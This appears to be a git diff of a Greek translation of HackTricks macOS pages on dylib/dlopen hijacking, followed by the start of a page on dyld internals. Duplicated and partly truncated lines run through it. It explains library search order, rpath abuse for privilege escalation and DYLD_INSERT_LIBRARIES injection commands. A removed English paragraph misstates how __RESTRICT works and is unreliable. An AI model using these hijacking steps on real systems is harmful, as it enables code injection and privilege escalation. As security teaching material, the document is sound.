Ωστόσο, ο τρόπος με τον οποίο οι εφαρμογές **MacOS** φορτώνουν βιβλιοθήκες είναι **πιο περιορισμένος** από ό,τι στα Windows. Αυτό σημαίνει ότι οι **δημιουργοί malware** μπορούν ακόμη να χρησιμοποιήσουν αυτήν την τεχνική για την **κρυφή λειτουργία**, αλλά η πιθανότητα να μπορέσουν να **καταχραστούν αυτό για προνόμια είναι πολύ χαμηλή**.
Καταρχάς, είναι **πιο συνηθισμένο** να βρείτε ότι τα **δυαδικά MacOS υποδεικνύουν την πλήρη διαδρομή** προς τις βιβλιοθήκες που θα φορτώσουν. Και δεύτερο, το **MacOS ποτέ δεν αναζητά** στους φακέλους του **$PATH** για βιβλιοθήκες.
Η **κύρια** μέρος του **κώδικα** που σχετίζεται με αυτήν τη λειτουργικότητα βρίσκεται στο **`ImageLoader::recursiveLoadLibraries`** στο `ImageLoader.cpp`.
Υπάρχουν **4 διαφορετικές εντολές κεφαλίδας** που μπορεί να χρησιμοποιήσει ένα δυαδικό macho για τη φόρτωση βιβλιοθηκών:
* Η εντολή **`LC_LOAD_DYLIB`** είναι η κοινή εντολή για τη φόρτωσ
* **`LC_LOAD_DYLIB`** περιέχει το μονοπάτι προς συγκεκριμένες βιβλιοθήκες προς φόρτωση. Αυτά τα μονοπάτια μπορεί να περιέχουν το **`@rpath`**, το οποίο θα **αντικατασταθεί** από τις τιμές στο **`LC_RPATH`**. Αν υπάρχουν πολλά μονοπάτια στο **`LC_RPATH`** θα χρησιμοποιηθούν όλα για την αναζήτηση της βιβλιοθήκης προς φόρτωση. Παράδειγμα:
* Αν το **`LC_LOAD_DYLIB`** περιέχει `@rpath/library.dylib` και το **`LC_RPATH`** περιέχει `/application/app.app/Contents/Framework/v1/` και `/application/app.app/Contents/Framework/v2/`. Και τα δύο φακέλους θα χρησιμοποιηθούν για τη φόρτωση της `library.dylib`. Αν η βιβλιοθήκη δεν υπάρχει στο `[...]/v1/` και ο επιτιθέμενος μπορεί να την τοποθετήσει εκεί για να αποκτήσει τον έλεγχο της φόρτωσης της βιβλιοθήκης στο `[...]/v2/` καθώς ακολουθείται η σειρά των μονοπατιών στο **`LC_LOAD_DYLIB`**.
* **Βρείτε τα μονοπάτια rpath και τις βιβλιοθήκες** σε δυαδικά αρχεία με: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
{% hint style="info" %}
**`@executable_path`**: Είναι το **μονοπάτι** προς τον φάκελο που περιέχει το **κύριο εκτελέσιμο αρχείο**.
**`@loader_path`**: Είναι το **μονοπάτι** προς τον **φάκελο** που περιέχει το **Mach-O δυαδικό** που περιέχει την εντολή φόρτωσης.
* Όταν χρησιμοποιείται σε ένα εκτελέσιμο, το **`@loader_path`** είναι αποτελεσματικά το **ίδιο** με το **`@executable_path`**.
* Όταν χρησιμοποιείται σε ένα **dylib**, το **`@loader_path`** δίνει το **μονοπάτι** προς το **dylib**.
{% endhint %}
Ο τρόπος να **εξελιχθούν τα προνόμια** καταχρώντας αυτήν τη λειτουργικότητα θα ήταν στη σπάνια περίπτωση που μια **εφαρμογή** που εκτελείται **από** **root** ψάχνει για κάποια **βιβλιοθήκη σε κάποιο φάκελο όπου ο επιτιθέμενος έχει δικαιώματα εγγραφής.**
{% hint style="success" %}
Ένα εξαιρετικό **εργαλείο σάρωσης** για να βρείτε **ελλιπείς βιβλιοθήκες** σε εφαρμογές είναι το [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ή μια [**έκδοση CLI**](https://github.com/pandazheng/DylibHijack).\
Μια ωραία **αναφορά με τεχνικές λεπτομέρειες** για αυτήν την τεχνική μπορεί να βρεθεί [**εδώ**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x).
Ένα εξαιρετικό **εργαλείο σάρωσης** για την εύρεση **λείπουσων βιβλιοθηκών** σε εφαρμογές είναι το [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ή μια [**εκδοχή γραμμής εντολών**](https://github.com/pandazheng/DylibHijack).\
Ένα ωραίο **αναφορά με τεχνικές λεπτομέρειες** σχετικά με αυτήν την τεχνική μπορεί να βρεθεί [**εδώ**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x).
{% endhint %}
**Παράδειγμα**
@ -65,19 +113,40 @@
## Dlopen Hijacking
{% hint style="danger" %}
Θυμηθείτε ότι ισχύουν και οι **προηγούμενοι περιορισμοί της Επικύρωσης Βιβλιοθήκης** για να πραγματοποιηθούν επιθέσεις Dlopen hijacking.
Να θυμάστε ότι **ισχύουν επίσης οι προηγούμενοι περιορισμοί Επικύρωσης Βιβλιοθήκης** για την εκτέλεση επιθέσεων Dlopen hijacking.
{% endhint %}
Από το **`man dlopen`**:
* Όταν η διαδρομή **δεν περιέχει τον χαρακτήρα κάθετος** (δηλαδή είναι απλά ένα όνομα φακέλου), το dlopen() θα κάνει αναζήτηση. Εάν το **`$DYLD_LIBRARY_PATH`** ήταν ορισμένο κατά την εκκίνηση, το dyld θα ψάξει πρώτα σε αυτόν τον φάκελο. Στη συνέχεια, εάν το καλούντα Mach-O αρχείο ή το κύριο εκτελέσιμο καθορίζουν ένα **`LC_RPATH`**, τότε το dyld θα ψάξει σε αυτούς τους φακέλους. Στη συνέχεια, εάν η διεργασία είναι **απεριόριστη**, το dyld θα αναζητήσει στον **τρέχοντα φάκελο εργασίας**. Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα δοκιμάσει μερικές εναλλακτικές λύσεις. Εάν το **`$DYLD_FALLBACK_LIBRARY_PATH`** ήταν ορισμένο κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτούς τους φακέλους, διαφορετικά, το dyld θα ψάξει στο **`/usr/local/lib/`** (εάν η διεργασία είναι απεριόριστη), και στη συνέχεια στο **`/usr/lib/`** (αυτές οι πληροφορίες προήλθαν από το **`man dlopen`**).
* Όταν το μονοπάτι **δεν περιέχει χαρακτήρα κάθετο** (δηλαδή είναι απλά ένα όνομα φακέλου), το **dlopen() θα κάνει αναζήτηση**. Αν το **`$DYLD_LIBRARY_PATH`** ήταν ορισμένο κατά την εκκίνηση, το dyld θα ψάξει πρώτα σε αυτόν τον φάκελο. Στη συνέχεια, αν το καλούντα Mach-O αρχείο ή το κύριο εκτελέσιμο καθορίζουν ένα **`LC_RPATH`**, τότε το dyld θα **ψάξει σε αυτούς** τους φακέλους. Στη συνέχεια, αν η διαδικασία είναι **ανεμπόδιστη**, το dyld θα αναζητήσει στον **τρέχοντα φάκελο εργασίας**. Τέλος, για παλιά δυαδικά αρχεία, το dyld θα δοκιμάσει κάποιες εναλλακτικές λύσεις. Αν το **`$DYLD_FALLBACK_LIBRARY_PATH`** ήταν ορισμένο κατά την εκκίνηση, το dyld θα αναζητήσει σε **αυτούς τους φακέλους**, διαφορετικά, το dyld θα ψάξει στο **`/usr/local/lib/`** (αν η διαδικασία είναι ανεμπόδιστη), και στη συνέχεια στο **`/usr/lib/`** (αυτές οι πληροφορίες προήχθησαν από το **`man dlopen`**).
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD`(εάν είναι απεριόριστη)
3. `CWD`(αν είναι ανεμπόδιστη)
4. `$DYLD_FALLBACK_LIBRARY_PATH`
5. `/usr/local/lib/` (εάν είναι απεριό
5. `/usr/local/lib/` (αν είναι ανεμπόδιστη)
6. `/usr/lib/`
{% hint style="danger" %}
Αν δεν υπάρχουν κάθετοι στο όνομα, υπάρχουν 2 τρόποι για να γίνει μια απάτη:
* Αν κάποιο **`LC_RPATH`** είναι **εγγράψιμο** (αλλά ελέγχεται η υπογραφή, οπότε γι' αυτό χρειάζεστε επίσης το δυαδικό να είναι ανεμπόδιστο)
* Αν το δυαδικό είναι **ανεμπόδιστο** και στη συνέχεια είναι δυνατόν να φορτωθεί κάτι από το CWD (ή καταχρώντας κάποια από τις αναφερόμενες μεταβλητές περιβάλλοντος)
{% endhint %}
* Όταν το μονοπάτι **μοιάζει με μονοπάτι πλαισίου** (π.χ. `/stuff/foo.framework/foo`), αν το **`$DYLD_FRAMEWORK_PATH`** ήταν ορισμένο κατά την εκκίνηση, το dyld θα ψάξει πρώτα σε αυτόν τον φάκελο για το **μερικό μονοπάτι του πλαισίου** (π.χ. `foo.framework/foo`). Στη συνέχεια, το dyld θα δοκιμάσει το **παρεχόμενο μονοπάτι ως έχει** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικά μονοπάτια). Τέλος, για παλιά δυαδικά αρχεία, το dyld θα δοκιμάσει κάποιες εναλλακτικές λύσεις. Αν το **`$DYLD_FALLBACK_FRAMEWORK_PATH`** ήταν ορισμένο κατά την εκκίνηση, το dyld θα αναζητήσει σε **αυτούς τους φακέλους**. Διαφορετικά, θα αναζητήσει στο **`/Library/Frameworks`** (στο macOS αν η διαδικασία είναι ανεμπόδιστη), στη συνέχεια στο **`/System/Library/Frameworks`**.
1. `$DYLD_FRAMEWORK_PATH`
2. παρεχόμενο μονοπάτι (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικά μονοπάτια αν είναι ανεμπόδιστη η διαδικασία)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
4. `/Library/Frameworks` (αν η διαδικασία είναι ανεμπόδιστη)
5. `/System/Library/Frameworks`
{% hint style="danger" %}
Αν το μονοπάτι είναι πλαίσιο, ο τρόπος να το καταχραστείτε θα ήταν:
* Αν η διαδικασία είναι **ανεμπόδιστη**, καταχρώντας το **σχετικό μονοπάτι από το CWD** με τις αναφερόμενες μεταβλητές περιβάλλοντος (ακόμα κι αν δεν αναφέρεται στα έγγραφα αν η διαδικασία είναι περιορισμένη, οι μεταβλητές περιβάλλοντος DYLD\_\* αφαιρούνται)
{% endhint %}
* Όταν το μονοπάτι **περιέχει κάθετο αλλά δεν είναι μονοπάτι πλαισίου** (δηλαδή πλήρες μονοπάτι ή μερικό μονοπάτι προς ένα dylib), το dlopen() πρώτα ψάχνει (αν έχει οριστεί) στο **`$DYLD_LIBRARY_PATH`** (με το μέρος φύλλου από το μονοπάτι). Στη συνέχεια, το dyld **δοκιμάζει το παρεχόμενο μονοπάτι** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας γ
```c
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
#include <dlfcn.h>
@ -120,33 +189,27 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
return 0;
}
```
Εάν το μεταγλωττίσετε και το εκτελέσετε, μπορείτε να δείτε **πού αναζητήθηκε ανεπιτυχώς κάθε βιβλιοθήκη**. Επίσης, μπορείτε να **φιλτράρετε τα αρχεία καταγραφής του συστήματος αρχείων**:
Εάν το μεταγλωττίσετε και το εκτελέσετε, μπορείτε να δείτε **πού αναζητήθηκε ανεπιτυχώς κάθε βιβλιοθήκη**. Επίσης, θα μπορούσατε **να φιλτράρετε τα αρχεία καταγραφής του συστήματος αρχείων (FS logs)**:
```bash
sudo fs_usage | grep "dlopentest"
```
## Απάτη με Σχετική Διαδρομή
## Απάτη με σχετική διαδρομή
Εάν ένα **προνομιούχο δυαδικό/εφαρμογή** (όπως ένα SUID ή κάποιο δυαδικό με ισχυρές άδειες) φορτώνει ένα βιβλιοθήκη με **σχετική διαδρομή** (για παράδειγμα χρησιμοποιώντας το `@executable_path` ή `@loader_path`) και έχει **απενεργοποιημένο τον Έλεγχο Βιβλιοθήκης**, θα μπορούσε να είναι δυνατόν να μετακινηθεί το δυαδικό σε μια τοποθεσία όπου ο επιτιθέμενος θα μπορούσε να **τροποποιήσει τη βιβλιοθήκη που φορτώνεται με σχετική διαδρομή**, και να την καταχραστεί για να εισάγει κώδικα στη διαδικασία.
Εάν ένα **προνομιούχο δυαδικό/εφαρμογή** (όπως ένα SUID ή κάποιο δυαδικό με ισχυρά entitlements) φορτώνει μια βιβλιοθήκη με **σχετική διαδρομή** (για παράδειγμα χρησιμοποιώντας `@executable_path` ή `@loader_path`) και έχει απενεργοποιημένο τον έλεγχο της βιβλιοθήκης, είναι δυνατόν να μετακινηθεί το δυαδικό σε μια τοποθεσία όπου ο επιτιθέμενος μπορεί να **τροποποιήσει τη φορτωμένη βιβλιοθήκη με τη σχετική διαδρομή** και να την καταχραστεί για να εισαγάγει κώδικα στη διεργασία.
## Καθαρισμός των μεταβλητών περιβάλλοντος `DYLD_*` και `LD_LIBRARY_PATH`
## Αποκοπή των μεταβλητών περιβάλλοντος `DYLD_*` και `LD_LIBRARY_PATH`
Στο αρχείο `dyld-dyld-832.7.1/src/dyld2.cpp` είναι δυνατόν να βρεθεί η συνάρτηση **`pruneEnvironmentVariables`**, η οποία θα αφαιρέσει οποιαδήποτε μεταβλητή περιβάλλοντος που **αρχίζει με `DYLD_`** και **`LD_LIBRARY_PATH=`**.
Στο αρχείο `dyld-dyld-832.7.1/src/dyld2.cpp` είναι δυνατόν να βρεθεί η συνάρτηση **`pruneEnvironmentVariables`**, η οποία θα αφαιρέσει οποιαδήποτε μεταβλητή περιβάλλοντος που **ξεκινά με `DYLD_`** και **`LD_LIBRARY_PATH=`**.
Επίσης, θα ορίσει σε **null** ειδικά τις μεταβλητές περιβάλλοντος **`DYLD_FALLBACK_FRAMEWORK_PATH`** και **`DYLD_FALLBACK_LIBRARY_PATH`** για δυαδικά με **suid** και **sgid**.
Αυτή η συνάρτηση καλείται από τη συνάρτηση **`_main`** του ίδιου αρχείου εάν στοχεύει σε OSX ως εξής:
Αυτή η συνάρτηση καλείται από τη συνάρτηση **`_main`** του ίδιου αρχείου εάν στοχεύει σε OSX όπως εδώ:
```cpp
#if TARGET_OS_OSX
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
pruneEnvironmentVariables(envp, &apple);
```
και αυτές οι λογικές σημαίες ορίζονται στον ίδιο αρχείο στον κώδικα:
και αυτά τα boolean flags ορίζονται στον ίδιο φάκελο στον κώδικα:
```cpp
#if TARGET_OS_OSX
// support chrooting from old kernel
@ -177,15 +240,13 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
gLinkContext.allowInsertFailures = false;
gLinkContext.allowInterposing = true;
```
Το οποίο σημαίνει βασικά ότι αν το δυαδικό είναι **suid** ή **sgid**, ή έχει ένα τμήμα **RESTRICT** στους κεφαλίδες ή έχει υπογραφεί με τη σημαία **CS\_RESTRICT**, τότε **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** είναι αληθές και οι μεταβλητές περιβάλλοντος αφαιρούνται.
Αυτό σημαίνει ότι αν το δυαδικό αρχείο είναι **suid** ή **sgid**, ή έχει ένα τμήμα **RESTRICT** στις κεφαλίδες ή έχει υπογραφεί με τη σημαία **CS\_RESTRICT**, τότε το **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** είναι αληθές και οι μεταβλητές περιβάλλοντος αφαιρούνται.
Σημειώστε ότι αν το CS\_REQUIRE\_LV είναι αληθές, τότε οι μεταβλητές δεν θα αφαιρεθούν, αλλά ο έλεγχος επικύρωσης βιβλιοθήκης θα ελέγξει αν χρησιμοποιούν το ίδιο πιστοποιητικό με το αρχικό δυαδικό αρχείο.
Σημειώστε ότι αν το CS\_REQUIRE\_LV είναι αληθές, τότε οι μεταβλητές δεν θα αφαιρεθούν, αλλά η επαλήθευση βιβλιοθήκης θα ελέγξει αν χρησιμοποιούν το ίδιο πιστοποιητικό με το αρχικό δυαδικό.
## Έλεγχος Περιορισμών
### SUID & SGID
```bash
# Make it owned by root and suid
sudo chown root hello
@ -196,22 +257,11 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
# Remove suid
sudo chmod -s hello
```
### Ενότητα `__RESTRICT` με τον τομέα `__restrict`
The `__RESTRICT` section is a segment in macOS that is used to restrict access to certain libraries and prevent unauthorized code execution. This section is specifically designed to enhance the security of the operating system by limiting the privileges of processes.
When a library is placed in the `__RESTRICT` section, it means that only privileged processes can access and execute code from that library. This prevents malicious actors from injecting their own code into the library and gaining unauthorized access to sensitive system resources.
By utilizing the `__RESTRICT` section, macOS ensures that only trusted processes can interact with critical libraries, reducing the risk of privilege escalation and unauthorized access.
To summarize, the `__RESTRICT` section in macOS plays a crucial role in enhancing the security of the operating system by restricting access to certain libraries and preventing unauthorized code execution.
### Ενότητα `__RESTRICT` με το τμήμα `__restrict`
```bash
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
```
### Ενισχυμένη εκτέλεση
Δημιουργήστε ένα νέο πιστοποιητικό στο Keychain και χρησιμοποιήστε το για να υπογράψετε το δυαδικό αρχείο:
@ -239,31 +289,30 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
{% endcode %}
{% hint style="danger" %}
Σημειώστε ότι ακόμα και αν υπάρχουν δυαδικά αρχεία με υπογραφή με σημαίες **`0x0(none)`**, μπορούν να αποκτήσουν δυναμικά τη σημαία **`CS_RESTRICT`** κατά την εκτέλεσή τους και, συνεπώς, αυτή η τεχνική δεν θα λειτουργήσει σε αυτά.
Μπορείτε να ελέγξετε αν ένα proc έχει αυτήν τη σημαία με (πάρτε [**εδώ το csops**](https://github.com/axelexic/CSOps)):
Σημειώστε ότι ακόμα κι αν υπάρχουν δυαδικά αρχεία που έχουν υπογραφεί με σημαίες **`0x0(none)`**, μπορεί να λάβουν δυναμικά τη σημαία **`CS_RESTRICT`** κατά την εκτέλεσή τους και, συνεπώς, αυτή η τεχνική δεν θα λειτουργήσει σε αυτά.
Μπορείτε να ελέγξετε αν ένα proc έχει αυτήν τη σημαία με (κατεβάστε το [**εδώ το csops**](https://github.com/axelexic/CSOps)):
```bash
csops -status <pid>
```
και στη συνέχεια ελέγξτε εάν η σημαία 0x800 είναι ενεργοποιημένη.
{% endhint %}
## Αναφορές
* [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/)
* [**\*OS Internals, Volume I: User Mode. Από τον Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>

View file

@ -0,0 +1,344 @@
# macOS Διεργασία Dyld
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
## Βασικές Πληροφορίες
Το πραγματικό **σημείο εισόδου** ενός δυαδικού Mach-o είναι το δυναμικά συνδεδεμένο, που ορίζεται στο `LC_LOAD_DYLINKER` και συνήθως είναι `/usr/lib/dyld`.
Αυτός ο συνδέστης θα πρέπει να εντοπίσει όλες τις βιβλιοθήκες εκτελέσιμων αρχείων, να τις χαρτογραφήσει στη μνήμη και να συνδέσει όλες τις μη-τεμπέλικες βιβλιοθήκες. Μόνο μετά από αυτήν τη διαδικασία, θα εκτελεστεί το σημείο εισόδου του δυαδικού.
Φυσικά, το **`dyld`** δεν έχει καμία εξάρτηση (χρησιμοποιεί κλήσεις συστήματος και αποσπάσματα libSystem).
{% hint style="danger" %}
Αν αυτός ο συνδέστης περιέχει κάποια ευπάθεια, καθώς εκτελείται πριν από την εκτέλεση οποιουδήποτε δυαδικού (ακόμα και υψηλά προνομιούχων), θα ήταν δυνατή η **ανάδειξη προνομίων**.
{% endhint %}
### Ροή
Το Dyld θα φορτωθεί από το **`dyldboostrap::start`**, το οποίο θα φορτώσει επίσης πράγματα όπως το **stack canary**. Αυτό συμβαίνει επειδή αυτή η λειτουργία θα λάβει στο διάνυσμά της **`apple`** αυτή και άλλες **ευαίσθητες** **τιμές**.
Το **`dyls::_main()`** είναι το σημείο εισόδου του dyld και η πρώτη του εργασία είναι να εκτελέσει το `configureProcessRestrictions()`, το οποίο συνήθως περιορίζει τις **`DYLD_*`** μεταβλητές περιβάλλοντος που εξηγούνται στο:
{% content-ref url="./" %}
[.](./)
{% endcontent-ref %}
Στη συνέχεια, χαρτογραφεί την κοινόχρηστη προσωρινή μνήμη dyld που προ-συνδέει όλες τις σημαντικές βιβλιοθήκες συστήματος και στη συνέχεια χαρτογραφεί τις βιβλιοθήκες στις οποίες εξαρτάται το δυαδικό και συνεχίζει αναδρομικά μέχρι να φορτωθούν όλες οι απαιτούμενες βιβλιοθήκες. Συνεπώς:
1. ξεκινά τη φόρτωση εισαγόμενων βιβλιοθηκών με το `DYLD_INSERT_LIBRARIES` (εάν επιτρέπεται)
2. Στη συνέχεια οι κοινόχρηστες προσωρινές μνήμες
3. Στη συνέχεια οι εισαγόμενες
4. Στη συνέχεια συνεχίζει την εισαγωγή βιβλιοθηκών αναδρομικά
Μόλις φορτωθούν όλα, εκτελούνται οι **αρχικοποιητές** αυτών των βιβλιοθηκών. Αυτοί κωδικοποιούνται χρησιμοποιώντας το **`__attribute__((constructor))`** που ορίζεται στο `LC_ROUTINES[_64]` (πλέον αποσυρμένο) ή με δείκτη σε ενότητα με σημαία `S_MOD_INIT_FUNC_POINTERS` (συνήθως: **`__DATA.__MOD_INIT_FUNC`**).
Οι τερματοφόροι κωδικοποιούνται με **`__attribute__((destructor))`** και βρίσκονται σε μια ενότητα με σημαία `S_MOD_TERM_FUNC_POINTERS` (**`__DATA.__mod_term_func`**).
### Αντικείμενα
Όλα τα δυαδικά στο macOS είναι δυναμικά συνδεδεμένα. Συνεπώς, περιέχουν ορισμένες ενότητες stubs που βοηθούν το δυαδικό να μεταβεί στον σωστό κώδικα σε διαφορετικές μηχανές και πλαίσια. Είναι το dyld όταν εκτελείται το δυαδικό το μυαλό που πρέπει να επιλύσει αυτές τις διευθύνσεις (τουλάχιστον τις μη-τεμπέλικες).
Ορισμένες ενότητες stubs στο δυαδικό:
* **`__TEXT.__[auth_]stubs`**: Δείκτες από ενότητες `__DATA`
* **`__TEXT.__stub_helper`**: Μικρός κώδικας που καλεί δυναμική σύνδεση με πληροφορίες για τη συνάρτηση προς κλήση
* **`__DATA.__[auth_]got`**: Πίνακας Παγίων Τιμών (διευθύνσεις σε εισαγόμενες συναρτήσεις, όταν επιλυθούν, (δεσμευμένες κατά τη φόρτωση καθώς είναι σημειωμένες με τη σημαία `S_NON_LAZY_SYMBOL_POINTERS`)
* **`__DATA.__nl_symbol_ptr`**: Δείκτες μη-τεμπέλικων συμβόλων (δεσμευμένοι κατά τη φόρτωση καθώς είναι σημειωμένοι με τη σημαία `S_NON_LAZY_SYMBOL_POINTERS`)
* **`__DATA.__la_symbol_ptr`**: Δείκτες τεμπέλικων συμβόλων (δεσμευμένοι κατά την πρώτη πρόσβαση)
{% hint style="warning" %}
Σημειώστε ότι οι δείκτες με το πρόθεμα "auth\_" χρησιμοποιούν ένα κλειδί κρυπτογράφησης σε διαδικασία για προστασία (PAC). Επιπλέον, είναι δυνατόν να χρησιμοποιηθεί η εντολή arm64 `BLRA[A/B]` για να επαληθευτεί ο δείκτης πριν ακολουθηθεί. Και το RETA\[A/B\] μπορεί να χρησιμοποιηθεί αντί για μια διεύθυνση RET.\
Πράγματι, ο κώδικας στο **`__TEXT.__auth_stubs`** θα χρησιμοποιήσει **`braa`** αντί για **`bl`** για να καλέσει την απαιτούμενη συνάρτηση για την επαλήθευση του δείκτη.
Επίσης, σημειώστε ότι οι τρέχουσες εκδόσεις dyld φορτώνουν **όλα ως μη-τεμπέλικα**.
{% endhint %}
### Εύρεση τεμπέλικων συμβόλων
```c
//gcc load.c -o load
#include <stdio.h>
int main (int argc, char **argv, char **envp, char **apple)
{
printf("Hi\n");
}
```
Ενδιαφέρουσα μεταφρασμένη μερίδα:
```armasm
; objdump -d ./load
100003f7c: 90000000 adrp x0, 0x100003000 <_main+0x1c>
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
Είναι δυνατόν να δούμε ότι το άλμα προς το κάλεσμα της printf πηγαίνει στο **`__TEXT.__stubs`**:
```bash
objdump --section-headers ./load
./load: file format mach-o arm64
Sections:
Idx Name Size VMA Type
0 __text 00000038 0000000100003f60 TEXT
1 __stubs 0000000c 0000000100003f98 TEXT
2 __cstring 00000004 0000000100003fa4 DATA
3 __unwind_info 00000058 0000000100003fa8 DATA
4 __got 00000008 0000000100004000 DATA
```
Στην αποσυναρμολόγηση της ενότητας **`__stubs`**:
```bash
objdump -d --section=__stubs ./load
./load: file format mach-o arm64
Disassembly of section __TEXT,__stubs:
0000000100003f98 <__stubs>:
100003f98: b0000010 adrp x16, 0x100004000 <__stubs+0x4>
100003f9c: f9400210 ldr x16, [x16]
100003fa0: d61f0200 br x16
```
Μπορείτε να δείτε ότι **αλλάζουμε στη διεύθυνση του GOT**, η οποία σε αυτήν την περίπτωση επιλύεται μη-τεμπέλικα και θα περιέχει τη διεύθυνση της συνάρτησης printf.
Σε άλλες καταστάσεις αντί να αλλάξει απευθείας στο GOT, θα μπορούσε να αλλάξει στο **`__DATA.__la_symbol_ptr`** το οποίο θα φορτώσει μια τιμή που αντιπροσωπεύει τη συνάρτηση που προσπαθεί να φορτώσει, στη συνέχεια θα αλλάξει στο **`__TEXT.__stub_helper`** το οποίο αλλάζει το **`__DATA.__nl_symbol_ptr`** που περιέχει τη διεύθυνση του **`dyld_stub_binder`** το οποίο παίρνει ως παραμέτρους τον αριθμό της συνάρτησης και μια διεύθυνση.\
Αυτή η τελευταία συνάρτηση, μετά τον εντοπισμό της διεύθυνσης της αναζητούμενης συνάρτησης, τη γράφει στην αντίστοιχη θέση στο **`__TEXT.__stub_helper`** για να αποφευχθούν μελλοντικές αναζητήσεις.
{% hint style="success" %}
Ωστόσο, παρατηρήστε ότι οι τρέχουσες εκδόσεις dyld φορτώνουν όλα τα πράγματα ως μη-τεμπέλικα.
{% endhint %}
#### Οδηγίες Dyld
